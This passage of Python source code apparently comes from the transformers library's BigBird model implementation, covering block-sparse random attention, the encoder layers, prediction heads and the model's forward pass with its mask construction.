rnd_r_cnt = int(np.sum(plan_num_rand_blocks[:pl_id]))
to_start_block_id = plan_block_length[pl_id - 1]
curr_r_cnt = int(np.sum(plan_num_rand_blocks[: pl_id + 1]))
for h in range(num_heads):
rand_attn[h][blk_rw_idx, rnd_r_cnt:curr_r_cnt] = self._get_single_block_row_attention(
block_id=blk_rw_idx,
to_start_block_id=to_start_block_id,
to_end_block_id=plan_block_length[pl_id],
num_rand_blocks=plan_num_rand_blocks[pl_id],
window_block_left=window_block_left,
window_block_right=window_block_right,
global_block_left=global_block_left,
global_block_right=global_block_right,
)
if plan_num_rand_blocks[plan_idx] == 0:
continue
curr_r_cnt = int(np.sum(plan_num_rand_blocks[: plan_idx + 1]))
from_start_block_id = global_block_top
to_start_block_id = 0
if plan_idx > 0:
rnd_r_cnt = int(np.sum(plan_num_rand_blocks[:plan_idx]))
from_start_block_id = plan_block_length[plan_idx - 1]
to_start_block_id = plan_block_length[plan_idx - 1]
for blk_rw_idx in range(from_start_block_id, plan_block_length[plan_idx]):
for h in range(num_heads):
rand_attn[h][blk_rw_idx, rnd_r_cnt:curr_r_cnt] = self._get_single_block_row_attention(
block_id=blk_rw_idx,
to_start_block_id=to_start_block_id,
to_end_block_id=plan_block_length[plan_idx],
num_rand_blocks=plan_num_rand_blocks[plan_idx],
window_block_left=window_block_left,
window_block_right=window_block_right,
global_block_left=global_block_left,
global_block_right=global_block_right,
)
for nh in range(num_heads):
rand_attn[nh] = rand_attn[nh][global_block_top : num_blocks - global_block_bottom, :]
return rand_attn
@staticmethod
def _get_single_block_row_attention(
block_id,
to_start_block_id,
to_end_block_id,
num_rand_blocks,
window_block_left=1,
window_block_right=1,
global_block_left=1,
global_block_right=1,
):
"""
For a single row block get random row attention.
Args:
block_id: int. block id of row.
to_start_block_id: int. random attention column start id.
to_end_block_id: int. random attention column end id.
num_rand_blocks: int. number of random blocks to be selected.
window_block_left: int. number of blocks of window to left of a block.
window_block_right: int. number of blocks of window to right of a block.
global_block_left: int. Number of blocks globally used to the left.
global_block_right: int. Number of blocks globally used to the right.
Returns:
row containing the random attention vector of size num_rand_blocks.
"""
# list of to_blocks from which to choose random attention
to_block_list = np.arange(to_start_block_id, to_end_block_id, dtype=np.int32)
# permute the blocks
perm_block = np.random.permutation(to_block_list)
# illegal blocks for the current block id, using window
illegal_blocks = list(range(block_id - window_block_left, block_id + window_block_right + 1))
# Add blocks at the start and at the end
illegal_blocks.extend(list(range(global_block_left)))
illegal_blocks.extend(list(range(to_end_block_id - global_block_right, to_end_block_id)))
# The second from_block cannot choose random attention on second last to_block
if block_id == 1:
illegal_blocks.append(to_end_block_id - 2)
# The second last from_block cannot choose random attention on second to_block
if block_id == to_end_block_id - 2:
illegal_blocks.append(1)
selected_random_blokcs = []
for i in range(to_end_block_id - to_start_block_id):
if perm_block[i] not in illegal_blocks:
selected_random_blokcs.append(perm_block[i])
if len(selected_random_blokcs) == num_rand_blocks:
break
return np.array(selected_random_blokcs, dtype=np.int32)
# Copied from transformers.models.bert.modeling_bert.BertSelfOutput with Bert->BigBird
class BigBirdSelfOutput(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.hidden_size)
self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
def forward(self, hidden_states, input_tensor):
hidden_states = self.dense(hidden_states)
hidden_states = self.dropout(hidden_states)
hidden_states = self.LayerNorm(hidden_states + input_tensor)
return hidden_states
class BigBirdAttention(nn.Module):
def __init__(self, config, seed=None):
super().__init__()
self.attention_type = config.attention_type
self.config = config
self.seed = seed
if self.config.attention_type == "original_full":
self.self = BigBirdSelfAttention(config)
elif self.config.attention_type == "block_sparse":
self.self = BigBirdBlockSparseAttention(config, seed)
else:
raise ValueError(
f"attention_type can either be original_full or block_sparse, but is {self.config.attention_type}"
)
self.output = BigBirdSelfOutput(config)
def set_attention_type(self, value: str):
if value not in ["original_full", "block_sparse"]:
raise ValueError(
f"attention_type can only be set to either 'original_full' or 'block_sparse', but is {value}"
)
# attention type is already correctly set
if value == self.attention_type:
return
self.attention_type = value
if value == "original_full":
# copy all weights to new full attention class
attn_weights = BigBirdSelfAttention(self.config)
else:
# copy all weights to new sparse attention class
attn_weights = BigBirdBlockSparseAttention(self.config, self.seed)
attn_weights.query = self.self.query
attn_weights.value = self.self.value
attn_weights.key = self.self.key
self.self = attn_weights
self.attention_type = value
if not self.training:
self.self.eval()
def forward(
self,
hidden_states,
attention_mask=None,
head_mask=None,
encoder_hidden_states=None,
encoder_attention_mask=None,
past_key_value=None,
output_attentions=False,
# block_sparse config
band_mask=None,
from_mask=None,
to_mask=None,
from_blocked_mask=None,
to_blocked_mask=None,
):
if self.attention_type == "original_full":
self_outputs = self.self(
hidden_states,
attention_mask,
head_mask,
encoder_hidden_states,
encoder_attention_mask,
past_key_value,
output_attentions,
)
else:
assert (
encoder_hidden_states is None
), "BigBird cannot be used as a decoder when config.attention_type != 'original_full'"
self_outputs = self.self(
hidden_states, band_mask, from_mask, to_mask, from_blocked_mask, to_blocked_mask, output_attentions
)
attention_output = self.output(self_outputs[0], hidden_states)
outputs = (attention_output,) + self_outputs[1:] # add attentions if we output them
return outputs
# Copied from transformers.models.bert.modeling_bert.BertIntermediate with Bert->BigBird
class BigBirdIntermediate(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.intermediate_size)
if isinstance(config.hidden_act, str):
self.intermediate_act_fn = ACT2FN[config.hidden_act]
else:
self.intermediate_act_fn = config.hidden_act
def forward(self, hidden_states):
hidden_states = self.dense(hidden_states)
hidden_states = self.intermediate_act_fn(hidden_states)
return hidden_states
# Copied from transformers.models.bert.modeling_bert.BertOutput with Bert->BigBird
class BigBirdOutput(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.intermediate_size, config.hidden_size)
self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
def forward(self, hidden_states, input_tensor):
hidden_states = self.dense(hidden_states)
hidden_states = self.dropout(hidden_states)
hidden_states = self.LayerNorm(hidden_states + input_tensor)
return hidden_states
class BigBirdLayer(nn.Module):
def __init__(self, config, seed=None):
super().__init__()
self.config = config
self.attention_type = config.attention_type
self.chunk_size_feed_forward = config.chunk_size_feed_forward
self.seq_len_dim = 1
self.attention = BigBirdAttention(config, seed=seed)
self.is_decoder = config.is_decoder
self.add_cross_attention = config.add_cross_attention
if self.add_cross_attention:
assert self.is_decoder, f"{self} should be used as a decoder model if cross attention is added"
self.crossattention = BigBirdAttention(config)
self.intermediate = BigBirdIntermediate(config)
self.output = BigBirdOutput(config)
def set_attention_type(self, value: str):
if value not in ["original_full", "block_sparse"]:
raise ValueError(
f"attention_type can only be set to either 'original_full' or 'block_sparse', but is {value}"
)
# attention type is already correctly set
if value == self.attention_type:
return
self.attention_type = value
self.attention.set_attention_type(value)
if self.add_cross_attention:
self.crossattention.set_attention_type(value)
def forward(
self,
hidden_states,
attention_mask=None,
head_mask=None,
encoder_hidden_states=None,
encoder_attention_mask=None,
band_mask=None,
from_mask=None,
to_mask=None,
blocked_encoder_mask=None,
past_key_value=None,
output_attentions=False,
):
# decoder uni-directional self-attention cached key/values tuple is at positions 1,2
self_attn_past_key_value = past_key_value[:2] if past_key_value is not None else None
self_attention_outputs = self.attention(
hidden_states,
attention_mask,
head_mask,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_attention_mask,
past_key_value=self_attn_past_key_value,
output_attentions=output_attentions,
band_mask=band_mask,
from_mask=from_mask,
to_mask=to_mask,
from_blocked_mask=blocked_encoder_mask,
to_blocked_mask=blocked_encoder_mask,
)
attention_output = self_attention_outputs[0]
# if decoder, the last output is tuple of self-attn cache
if self.is_decoder:
outputs = self_attention_outputs[1:-1]
present_key_value = self_attention_outputs[-1]
else:
outputs = self_attention_outputs[1:] # add self attentions if we output attention weights
cross_attn_present_key_value = None
if self.is_decoder and encoder_hidden_states is not None:
if not hasattr(self, "crossattention"):
raise ValueError(
f"If `encoder_hidden_states` are passed, {self} has to be instantiated with \
cross-attention layers by setting `config.add_cross_attention=True`"
)
# cross_attn cached key/values tuple is at positions 3,4 of past_key_value tuple
cross_attn_past_key_value = past_key_value[-2:] if past_key_value is not None else None
cross_attention_outputs = self.crossattention(
attention_output,
attention_mask,
head_mask,
encoder_hidden_states,
encoder_attention_mask,
cross_attn_past_key_value,
output_attentions,
)
attention_output = cross_attention_outputs[0]
outputs = outputs + cross_attention_outputs[1:-1] # add cross attentions if we output attention weights
# add cross-attn cache to positions 3,4 of present_key_value tuple
cross_attn_present_key_value = cross_attention_outputs[-1]
present_key_value = present_key_value + cross_attn_present_key_value
layer_output = apply_chunking_to_forward(
self.feed_forward_chunk, self.chunk_size_feed_forward, self.seq_len_dim, attention_output
)
outputs = (layer_output,) + outputs
# if decoder, return the attn key/values as the last output
if self.is_decoder:
outputs = outputs + (present_key_value,)
return outputs
def feed_forward_chunk(self, attention_output):
intermediate_output = self.intermediate(attention_output)
layer_output = self.output(intermediate_output, attention_output)
return layer_output
class BigBirdEncoder(nn.Module):
def __init__(self, config):
super().__init__()
self.config = config
self.attention_type = config.attention_type
self.layer = nn.ModuleList(
[BigBirdLayer(config, seed=layer_idx) for layer_idx in range(config.num_hidden_layers)]
)
def set_attention_type(self, value: str):
if value not in ["original_full", "block_sparse"]:
raise ValueError(
f"attention_type can only be set to either 'original_full' or 'block_sparse', but is {value}"
)
# attention type is already correctly set
if value == self.attention_type:
return
self.attention_type = value
for layer in self.layer:
layer.set_attention_type(value)
def forward(
self,
hidden_states,
attention_mask=None,
head_mask=None,
encoder_hidden_states=None,
encoder_attention_mask=None,
past_key_values=None,
use_cache=None,
output_attentions=False,
output_hidden_states=False,
band_mask=None,
from_mask=None,
to_mask=None,
blocked_encoder_mask=None,
return_dict=True,
):
all_hidden_states = () if output_hidden_states else None
all_self_attentions = () if output_attentions else None
all_cross_attentions = () if output_attentions and self.config.add_cross_attention else None
next_decoder_cache = () if use_cache else None
for i, layer_module in enumerate(self.layer):
if output_hidden_states:
all_hidden_states = all_hidden_states + (hidden_states,)
layer_head_mask = head_mask[i] if head_mask is not None else None
past_key_value = past_key_values[i] if past_key_values is not None else None
if getattr(self.config, "gradient_checkpointing", False) and self.training:
if use_cache:
logger.warning(
"`use_cache=True` is incompatible with `config.gradient_checkpointing=True`. Setting "
"`use_cache=False`..."
)
use_cache = False
def create_custom_forward(module):
def custom_forward(*inputs):
return module(*inputs, past_key_value, output_attentions)
return custom_forward
layer_outputs = torch.utils.checkpoint.checkpoint(
create_custom_forward(layer_module),
hidden_states,
attention_mask,
layer_head_mask,
encoder_hidden_states,
encoder_attention_mask,
band_mask,
from_mask,
to_mask,
blocked_encoder_mask,
)
else:
layer_outputs = layer_module(
hidden_states,
attention_mask,
layer_head_mask,
encoder_hidden_states,
encoder_attention_mask,
band_mask,
from_mask,
to_mask,
blocked_encoder_mask,
past_key_value,
output_attentions,
)
hidden_states = layer_outputs[0]
if use_cache:
next_decoder_cache += (layer_outputs[-1],)
if output_attentions:
all_self_attentions = all_self_attentions + (layer_outputs[1],)
if self.config.add_cross_attention:
all_cross_attentions = all_cross_attentions + (layer_outputs[2],)
if output_hidden_states:
all_hidden_states = all_hidden_states + (hidden_states,)
if not return_dict:
return tuple(
v
for v in [
hidden_states,
next_decoder_cache,
all_hidden_states,
all_self_attentions,
all_cross_attentions,
]
if v is not None
)
return BaseModelOutputWithPastAndCrossAttentions(
last_hidden_state=hidden_states,
past_key_values=next_decoder_cache,
hidden_states=all_hidden_states,
attentions=all_self_attentions,
cross_attentions=all_cross_attentions,
)
# Copied from transformers.models.bert.modeling_bert.BertPredictionHeadTransform with Bert->BigBird
class BigBirdPredictionHeadTransform(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.hidden_size)
if isinstance(config.hidden_act, str):
self.transform_act_fn = ACT2FN[config.hidden_act]
else:
self.transform_act_fn = config.hidden_act
self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
def forward(self, hidden_states):
hidden_states = self.dense(hidden_states)
hidden_states = self.transform_act_fn(hidden_states)
hidden_states = self.LayerNorm(hidden_states)
return hidden_states
# Copied from transformers.models.bert.modeling_bert.BertLMPredictionHead with Bert->BigBird
class BigBirdLMPredictionHead(nn.Module):
def __init__(self, config):
super().__init__()
self.transform = BigBirdPredictionHeadTransform(config)
# The output weights are the same as the input embeddings, but there is
# an output-only bias for each token.
self.decoder = nn.Linear(config.hidden_size, config.vocab_size, bias=False)
self.bias = nn.Parameter(torch.zeros(config.vocab_size))
# Need a link between the two variables so that the bias is correctly resized with `resize_token_embeddings`
self.decoder.bias = self.bias
def forward(self, hidden_states):
hidden_states = self.transform(hidden_states)
hidden_states = self.decoder(hidden_states)
return hidden_states
# Copied from transformers.models.bert.modeling_bert.BertOnlyMLMHead with Bert->BigBird
class BigBirdOnlyMLMHead(nn.Module):
def __init__(self, config):
super().__init__()
self.predictions = BigBirdLMPredictionHead(config)
def forward(self, sequence_output):
prediction_scores = self.predictions(sequence_output)
return prediction_scores
# Copied from transformers.models.bert.modeling_bert.BertOnlyNSPHead with Bert->BigBird
class BigBirdOnlyNSPHead(nn.Module):
def __init__(self, config):
super().__init__()
self.seq_relationship = nn.Linear(config.hidden_size, 2)
def forward(self, pooled_output):
seq_relationship_score = self.seq_relationship(pooled_output)
return seq_relationship_score
# Copied from transformers.models.bert.modeling_bert.BertPreTrainingHeads with Bert->BigBird
class BigBirdPreTrainingHeads(nn.Module):
def __init__(self, config):
super().__init__()
self.predictions = BigBirdLMPredictionHead(config)
self.seq_relationship = nn.Linear(config.hidden_size, 2)
def forward(self, sequence_output, pooled_output):
prediction_scores = self.predictions(sequence_output)
seq_relationship_score = self.seq_relationship(pooled_output)
return prediction_scores, seq_relationship_score
class BigBirdPreTrainedModel(PreTrainedModel):
"""
An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained
models.
"""
config_class = BigBirdConfig
load_tf_weights = load_tf_weights_in_big_bird
base_model_prefix = "bert"
_keys_to_ignore_on_load_missing = [r"position_ids"]
def _init_weights(self, module):
"""Initialize the weights"""
if isinstance(module, nn.Linear):
# Slightly different from the TF version which uses truncated_normal for initialization
# cf https://github.com/pytorch/pytorch/pull/5617
module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
if module.bias is not None:
module.bias.data.zero_()
elif isinstance(module, nn.Embedding):
module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
if module.padding_idx is not None:
module.weight.data[module.padding_idx].zero_()
elif isinstance(module, nn.LayerNorm):
module.bias.data.zero_()
module.weight.data.fill_(1.0)
BIG_BIRD_START_DOCSTRING = r"""
This model is a PyTorch `torch.nn.Module <https://pytorch.org/docs/stable/nn.html#torch.nn.Module>`_ sub-class. Use
it as a regular PyTorch Module and refer to the PyTorch documentation for all matter related to general usage and
behavior.
Parameters:
config (:class:`~transformers.BigBirdConfig`): Model configuration class with all the parameters of the model.
Initializing with a config file does not load the weights associated with the model, only the
configuration. Check out the :meth:`~transformers.PreTrainedModel.from_pretrained` method to load the model
weights.
"""
BIG_BIRD_INPUTS_DOCSTRING = r"""
Args:
input_ids (:obj:`torch.LongTensor` of shape :obj:`{0}`):
Indices of input sequence tokens in the vocabulary.
Indices can be obtained using :class:`transformers.BigBirdTokenizer`. See
:func:`transformers.PreTrainedTokenizer.encode` and :func:`transformers.PreTrainedTokenizer.__call__` for
details.
`What are input IDs? <../glossary.html#input-ids>`__
attention_mask (:obj:`torch.FloatTensor` of shape :obj:`{0}`, `optional`):
Mask to avoid performing attention on padding token indices. Mask values selected in ``[0, 1]``:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
`What are attention masks? <../glossary.html#attention-mask>`__
token_type_ids (:obj:`torch.LongTensor` of shape :obj:`{0}`, `optional`):
Segment token indices to indicate first and second portions of the inputs. Indices are selected in ``[0,
1]``:
- 0 corresponds to a `sentence A` token,
- 1 corresponds to a `sentence B` token.
`What are token type IDs? <../glossary.html#token-type-ids>`_
position_ids (:obj:`torch.LongTensor` of shape :obj:`{0}`, `optional`):
Indices of positions of each input sequence tokens in the position embeddings. Selected in the range ``[0,
config.max_position_embeddings - 1]``.
`What are position IDs? <../glossary.html#position-ids>`_
head_mask (:obj:`torch.FloatTensor` of shape :obj:`(num_heads,)` or :obj:`(num_layers, num_heads)`, `optional`):
Mask to nullify selected heads of the self-attention modules. Mask values selected in ``[0, 1]``:
- 1 indicates the head is **not masked**,
- 0 indicates the head is **masked**.
inputs_embeds (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, hidden_size)`, `optional`):
Optionally, instead of passing :obj:`input_ids` you can choose to directly pass an embedded representation.
This is useful if you want more control over how to convert `input_ids` indices into associated vectors
than the model's internal embedding lookup matrix.
output_attentions (:obj:`bool`, `optional`):
Whether or not to return the attentions tensors of all attention layers. See ``attentions`` under returned
tensors for more detail.
output_hidden_states (:obj:`bool`, `optional`):
Whether or not to return the hidden states of all layers. See ``hidden_states`` under returned tensors for
more detail.
return_dict (:obj:`bool`, `optional`):
Whether or not to return a :class:`~transformers.file_utils.ModelOutput` instead of a plain tuple.
"""
@dataclass
class BigBirdForPreTrainingOutput(ModelOutput):
"""
Output type of :class:`~transformers.BigBirdForPreTraining`.
Args:
loss (`optional`, returned when ``labels`` is provided, ``torch.FloatTensor`` of shape :obj:`(1,)`):
Total loss as the sum of the masked language modeling loss and the next sequence prediction
(classification) loss.
prediction_logits (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, config.vocab_size)`):
Prediction scores of the language modeling head (scores for each vocabulary token before SoftMax).
seq_relationship_logits (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, 2)`):
Prediction scores of the next sequence prediction (classification) head (scores of True/False continuation
before SoftMax).
hidden_states (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``output_hidden_states=True`` is passed or when ``config.output_hidden_states=True``):
Tuple of :obj:`torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer)
of shape :obj:`(batch_size, sequence_length, hidden_size)`.
Hidden-states of the model at the output of each layer plus the initial embedding outputs.
attentions (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``output_attentions=True`` is passed or when ``config.output_attentions=True``):
Tuple of :obj:`torch.FloatTensor` (one for each layer) of shape :obj:`(batch_size, num_heads,
sequence_length, sequence_length)`.
Attentions weights after the attention softmax, used to compute the weighted average in the self-attention
heads.
"""
loss: Optional[torch.FloatTensor] = None
prediction_logits: torch.FloatTensor = None
seq_relationship_logits: torch.FloatTensor = None
hidden_states: Optional[Tuple[torch.FloatTensor]] = None
attentions: Optional[Tuple[torch.FloatTensor]] = None
@dataclass
class BigBirdForQuestionAnsweringModelOutput(ModelOutput):
"""
Base class for outputs of question answering models.
Args:
loss (:obj:`torch.FloatTensor` of shape :obj:`(1,)`, `optional`, returned when :obj:`labels` is provided):
Total span extraction loss is the sum of a Cross-Entropy for the start and end positions.
start_logits (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length)`):
Span-start scores (before SoftMax).
end_logits (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length)`):
Span-end scores (before SoftMax).
pooler_output (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, 1)`):
pooler output from BigBigModel
hidden_states (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``output_hidden_states=True`` is passed or when ``config.output_hidden_states=True``):
Tuple of :obj:`torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer)
of shape :obj:`(batch_size, sequence_length, hidden_size)`.
Hidden-states of the model at the output of each layer plus the initial embedding outputs.
attentions (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``output_attentions=True`` is passed or when ``config.output_attentions=True``):
Tuple of :obj:`torch.FloatTensor` (one for each layer) of shape :obj:`(batch_size, num_heads,
sequence_length, sequence_length)`.
Attentions weights after the attention softmax, used to compute the weighted average in the self-attention
heads.
"""
loss: Optional[torch.FloatTensor] = None
start_logits: torch.FloatTensor = None
end_logits: torch.FloatTensor = None
pooler_output: torch.FloatTensor = None
hidden_states: Optional[Tuple[torch.FloatTensor]] = None
attentions: Optional[Tuple[torch.FloatTensor]] = None
@add_start_docstrings(
"The bare BigBird Model transformer outputting raw hidden-states without any specific head on top.",
BIG_BIRD_START_DOCSTRING,
)
class BigBirdModel(BigBirdPreTrainedModel):
"""
The model can behave as an encoder (with only self-attention) as well as a decoder, in which case a layer of
cross-attention is added between the self-attention layers, following the architecture described in `Attention is
all you need <https://arxiv.org/abs/1706.03762>`__ by Ashish Vaswani, Noam Shazeer, Niki Parmar, Jakob Uszkoreit,
Llion Jones, Aidan N. Gomez, Lukasz Kaiser and Illia Polosukhin.
To behave as an decoder the model needs to be initialized with the :obj:`is_decoder` argument of the configuration
set to :obj:`True`. To be used in a Seq2Seq model, the model needs to initialized with both :obj:`is_decoder`
argument and :obj:`add_cross_attention` set to :obj:`True`; an :obj:`encoder_hidden_states` is then expected as an
input to the forward pass.
"""
def __init__(self, config, add_pooling_layer=True):
super().__init__(config)
self.attention_type = self.config.attention_type
self.config = config
self.block_size = self.config.block_size
self.embeddings = BigBirdEmbeddings(config)
self.encoder = BigBirdEncoder(config)
if add_pooling_layer:
self.pooler = nn.Linear(config.hidden_size, config.hidden_size)
self.activation = nn.Tanh()
else:
self.pooler = None
self.activation = None
if self.attention_type != "original_full" and config.add_cross_attention:
logger.warning(
"When using `BigBirdForCausalLM` as decoder, then `attention_type` must be `original_full`. Setting `attention_type=original_full`"
)
self.set_attention_type("original_full")
self.init_weights()
def get_input_embeddings(self):
return self.embeddings.word_embeddings
def set_input_embeddings(self, value):
self.embeddings.word_embeddings = value
def set_attention_type(self, value: str):
if value not in ["original_full", "block_sparse"]:
raise ValueError(
f"attention_type can only be set to either 'original_full' or 'block_sparse', but is {value}"
)
# attention type is already correctly set
if value == self.attention_type:
return
self.attention_type = value
self.encoder.set_attention_type(value)
@add_start_docstrings_to_model_forward(BIG_BIRD_INPUTS_DOCSTRING.format("(batch_size, sequence_length)"))
@add_code_sample_docstrings(
tokenizer_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=BaseModelOutputWithPoolingAndCrossAttentions,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
encoder_hidden_states=None,
encoder_attention_mask=None,
past_key_values=None,
use_cache=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
encoder_hidden_states (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, hidden_size)`, `optional`):
Sequence of hidden-states at the output of the last layer of the encoder. Used in the cross-attention if
the model is configured as a decoder.
encoder_attention_mask (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):
Mask to avoid performing attention on the padding token indices of the encoder input. This mask is used in
the cross-attention if the model is configured as a decoder. Mask values selected in ``[0, 1]``:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
past_key_values (:obj:`tuple(tuple(torch.FloatTensor))` of length :obj:`config.n_layers` with each tuple having 4 tensors of shape :obj:`(batch_size, num_heads, sequence_length - 1, embed_size_per_head)`):
Contains precomputed key and value hidden states of the attention blocks. Can be used to speed up decoding.
If :obj:`past_key_values` are used, the user can optionally input only the last :obj:`decoder_input_ids`
(those that don't have their past key value states given to this model) of shape :obj:`(batch_size, 1)`
instead of all :obj:`decoder_input_ids` of shape :obj:`(batch_size, sequence_length)`.
use_cache (:obj:`bool`, `optional`):
If set to :obj:`True`, :obj:`past_key_values` key value states are returned and can be used to speed up
decoding (see :obj:`past_key_values`).
"""
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
if self.config.is_decoder:
use_cache = use_cache if use_cache is not None else self.config.use_cache
else:
use_cache = False
if input_ids is not None and inputs_embeds is not None:
raise ValueError("You cannot specify both input_ids and inputs_embeds at the same time")
elif input_ids is not None:
input_shape = input_ids.size()
batch_size, seq_length = input_shape
elif inputs_embeds is not None:
input_shape = inputs_embeds.size()[:-1]
batch_size, seq_length = input_shape
else:
raise ValueError("You have to specify either input_ids or inputs_embeds")
device = input_ids.device if input_ids is not None else inputs_embeds.device
# past_key_values_length
past_key_values_length = past_key_values[0][0].shape[2] if past_key_values is not None else 0
if attention_mask is None:
attention_mask = torch.ones(((batch_size, seq_length + past_key_values_length)), device=device)
if token_type_ids is None:
token_type_ids = torch.zeros(input_shape, dtype=torch.long, device=device)
# in order to use block_sparse attention, sequence_length has to be at least
# bigger than all global attentions: 2 * block_size
# + sliding tokens: 3 * block_size
# + random tokens: 2 * num_random_blocks * block_size
max_tokens_to_attend = (5 + 2 * self.config.num_random_blocks) * self.config.block_size
if self.attention_type == "block_sparse" and seq_length <= max_tokens_to_attend:
# change attention_type from block_sparse to original_full
sequence_length = input_ids.size(1) if input_ids is not None else inputs_embeds.size(1)
logger.warning(
"Attention type 'block_sparse' is not possible if sequence_length: "
f"{sequence_length} <= num global tokens: 2 * config.block_size "
"+ min. num sliding tokens: 3 * config.block_size "
"+ config.num_random_blocks * config.block_size "
"+ additional buffer: config.num_random_blocks * config.block_size "
f"= {max_tokens_to_attend} with config.block_size "
f"= {self.config.block_size}, config.num_random_blocks "
f"= {self.config.num_random_blocks}."
"Changing attention type to 'original_full'..."
)
self.set_attention_type("original_full")
if self.attention_type == "block_sparse":
(
padding_len,
input_ids,
attention_mask,
token_type_ids,
position_ids,
inputs_embeds,
) = self._pad_to_block_size(
input_ids=input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
inputs_embeds=inputs_embeds,
pad_token_id=self.config.pad_token_id,
)
else:
padding_len = 0
if self.attention_type == "block_sparse":
blocked_encoder_mask, band_mask, from_mask, to_mask = self.create_masks_for_block_sparse_attn(
attention_mask, self.block_size
)
extended_attention_mask = None
elif self.attention_type == "original_full":
blocked_encoder_mask = None
band_mask = None
from_mask = None
to_mask = None
# We can provide a self-attention mask of dimensions [batch_size, from_seq_length, to_seq_length]
# ourselves in which case we just need to make it broadcastable to all heads.
extended_attention_mask: torch.Tensor = self.get_extended_attention_mask(
attention_mask, input_shape, device
)
else:
raise ValueError(
f"attention_type can either be original_full or block_sparse, but is {self.attention_type}"
)
# If a 2D or 3D attention mask is provided for the cross-attention
# we need to make broadcastable to [batch_size, num_heads, seq_length, seq_length]
if self.config.is_decoder and encoder_hidden_states is not None:
encoder_batch_size, encoder_sequence_length, _ = encoder_hidden_states.size()
encoder_hidden_shape = (encoder_batch_size, encoder_sequence_length)
if encoder_attention_mask is None:
encoder_attention_mask = torch.ones(encoder_hidden_shape, device=device)
encoder_extended_attention_mask = self.invert_attention_mask(encoder_attention_mask)
else:
encoder_extended_attention_mask = None
# Prepare head mask if needed
# 1.0 in head_mask indicate we keep the head
# attention_probs has shape bsz x n_heads x N x N
# input head_mask has shape [num_heads] or [num_hidden_layers x num_heads]
# and head_mask is converted to shape [num_hidden_layers x batch x num_heads x seq_length x seq_length]
head_mask = self.get_head_mask(head_mask, self.config.num_hidden_layers)
embedding_output = self.embeddings(
input_ids=input_ids,
position_ids=position_ids,
token_type_ids=token_type_ids,
inputs_embeds=inputs_embeds,
past_key_values_length=past_key_values_length,
)
encoder_outputs = self.encoder(
embedding_output,
attention_mask=extended_attention_mask,
head_mask=head_mask,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_extended_attention_mask,
past_key_values=past_key_values,
use_cache=use_cache,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
band_mask=band_mask,
from_mask=from_mask,
to_mask=to_mask,
blocked_encoder_mask=blocked_encoder_mask,
return_dict=return_dict,
)
sequence_output = encoder_outputs[0]
pooler_output = self.activation(self.pooler(sequence_output[:, 0, :])) if (self.pooler is not None) else None
# undo padding
if padding_len > 0:
# unpad `sequence_output` because the calling function is expecting a length == input_ids.size(1)
sequence_output = sequence_output[:, :-padding_len]
if not return_dict:
return (sequence_output, pooler_output) + encoder_outputs[1:]
return BaseModelOutputWithPoolingAndCrossAttentions(
last_hidden_state=sequence_output,
pooler_output=pooler_output,
past_key_values=encoder_outputs.past_key_values,
hidden_states=encoder_outputs.hidden_states,
attentions=encoder_outputs.attentions,
cross_attentions=encoder_outputs.cross_attentions,
)
@staticmethod
def create_masks_for_block_sparse_attn(attention_mask: torch.Tensor, block_size: int):
batch_size, seq_length = attention_mask.size()
assert (
seq_length % block_size == 0
), f"Sequence length must be multiple of block size, but sequence length is {seq_length}, while block size is {block_size}."
def create_band_mask_from_inputs(from_blocked_mask, to_blocked_mask):
"""
Create 3D attention mask from a 2D tensor mask.
Args:
from_blocked_mask: 2D Tensor of shape [batch_size,
from_seq_length//from_block_size, from_block_size].
to_blocked_mask: int32 Tensor of shape [batch_size,
to_seq_length//to_block_size, to_block_size].
Returns:
float Tensor of shape [batch_size, 1, from_seq_length//from_block_size-4, from_block_size,
3*to_block_size].
"""
exp_blocked_to_pad = torch.cat(
[to_blocked_mask[:, 1:-3], to_blocked_mask[:, 2:-2], to_blocked_mask[:, 3:-1]], dim=2
)
band_mask = torch.einsum("blq,blk->blqk", from_blocked_mask[:, 2:-2], exp_blocked_to_pad)
band_mask.unsqueeze_(1)
return band_mask
